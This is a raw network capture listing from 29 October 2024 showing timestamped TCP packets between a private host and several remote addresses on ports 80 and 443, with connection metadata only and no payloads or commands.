Oct 29, 2024 20:35:22.899692059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899709940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899720907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899733067 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899744034 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899756908 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899769068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899781942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899794102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899816990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899832964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899837017 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899837017 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899844885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899856091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899868011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899868965 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899879932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899892092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899903059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899909973 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899909973 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899916887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899926901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899939060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899950027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899950981 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899950981 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899960995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899971962 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899982929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899995089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.900000095 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.900000095 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.900008917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.900018930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.900037050 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.900037050 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.900151968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.905800104 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.908196926 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.908237934 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.909039021 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.909049988 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.927334070 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:22.930066109 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.931696892 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.931732893 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.932251930 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.932257891 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.936920881 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.937412024 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.937448025 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.938355923 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.938371897 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.957384109 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.963103056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.026596069 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.027026892 CET	49932	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.027049065 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.027534962 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.027998924 CET	49932	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.028070927 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.028176069 CET	49932	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.036484003 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.036555052 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.036796093 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.037828922 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.037853956 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.037869930 CET	49929	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.037878990 CET	443	49929	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.042229891 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.042481899 CET	49934	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.042496920 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.043591022 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.044039965 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.044092894 CET	49934	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.044420958 CET	443	49936	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.044501066 CET	49934	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.044574022 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.044588089 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.044698954 CET	49936	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.044725895 CET	443	49936	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.044783115 CET	49934	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.044791937 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.044918060 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.044929981 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.045864105 CET	443	49936	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.045929909 CET	49936	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.046010017 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.046209097 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.046243906 CET	49936	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.046315908 CET	443	49936	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.046574116 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.046618938 CET	49936	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.046632051 CET	443	49936	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.046646118 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.046717882 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.046875954 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.046905994 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.047442913 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.047447920 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.049259901 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.049303055 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.049465895 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.049634933 CET	49947	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.049653053 CET	443	49947	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.065649986 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.065721035 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.065783024 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.066083908 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.066101074 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.066119909 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.066131115 CET	49930	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.066138029 CET	443	49930	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.066823006 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.066858053 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.067383051 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.067397118 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.071736097 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.071787119 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.071943998 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.072680950 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.072820902 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.072874069 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.072932005 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.072969913 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.072969913 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.072988987 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.073000908 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.074621916 CET	49948	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.074642897 CET	443	49948	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.075325966 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.080303907 CET	443	49935	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.081023932 CET	49935	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.081041098 CET	443	49935	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.082118034 CET	443	49935	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.082199097 CET	49935	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.082581043 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.082633018 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.082734108 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.082734108 CET	49935	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.082822084 CET	443	49935	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.082971096 CET	49935	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.082990885 CET	443	49935	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.085494041 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:23.085522890 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:23.085606098 CET	49927	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:23.085623980 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:23.086401939 CET	49927	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:23.086453915 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:23.086659908 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:23.086719036 CET	49927	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:23.086736917 CET	49927	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:23.087328911 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.093909979 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.093925953 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.097189903 CET	49949	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.097219944 CET	443	49949	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.109411955 CET	49934	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.109790087 CET	49936	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.124931097 CET	49935	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.149756908 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.167957067 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.167987108 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.168047905 CET	49932	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.168065071 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.168313980 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.168418884 CET	49932	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.173409939 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.173578024 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.173645020 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.174541950 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.174560070 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.174575090 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.174581051 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.174752951 CET	49932	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.174774885 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.175168991 CET	49950	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.175204039 CET	443	49950	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.175266981 CET	49950	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.175796032 CET	49950	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.175807953 CET	443	49950	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.176242113 CET	443	49936	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.176266909 CET	443	49936	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.176325083 CET	443	49936	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.176326990 CET	49936	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.176388025 CET	49936	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.176841974 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.176867962 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.176917076 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.176959038 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.176959038 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.179220915 CET	49936	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.179248095 CET	443	49936	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.188136101 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.188153982 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.197107077 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.197148085 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.197685003 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.202788115 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:23.202812910 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:23.208431005 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:23.209069014 CET	49928	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:23.209085941 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:23.209995031 CET	49928	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:23.210002899 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:23.210114002 CET	49928	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:23.210122108 CET	443	49928	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:23.219679117 CET	443	49935	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.219707966 CET	443	49935	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.219768047 CET	443	49935	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.219963074 CET	49935	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.219963074 CET	49935	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.226260900 CET	49935	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:23.226281881 CET	443	49935	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:23.242635012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.242729902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.242741108 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.242755890 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.242911100 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.242918968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.242923975 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.242964029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.242974997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.242989063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.242996931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.242996931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.242999077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243011951 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243040085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243042946 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243042946 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243051052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243068933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243093014 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243093014 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243124008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243133068 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243134975 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243149042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243177891 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243177891 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243309021 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243333101 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243345022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243357897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243391991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243391991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243555069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243566036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243577957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243590117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243601084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243618965 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243618965 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243701935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243712902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243725061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243736982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243736982 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243736982 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243750095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243769884 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243769884 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243835926 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243854046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243865967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243866920 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243868113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243877888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243889093 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243899107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243906021 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243906021 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243911982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243923903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243935108 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243952990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243952990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243952990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243966103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243976116 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.243980885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243980885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.243990898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244003057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244014978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244026899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244038105 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244038105 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244039059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244076967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244077921 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244091988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244102955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244113922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244124889 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244138002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244155884 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244157076 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244174957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244219065 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244219065 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244231939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244240999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244251013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244262934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244275093 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244283915 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244283915 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244287014 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244297981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244317055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244318962 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244318962 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244327068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244344950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244355917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244366884 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244369984 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244369984 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244374037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244391918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244402885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244414091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244420052 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244421005 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244425058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244441986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244453907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244463921 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244463921 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244465113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244513988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244513988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.244524002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244539976 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244564056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.244576931 CET	80	49863	185.215.113.206	192.168.2.5
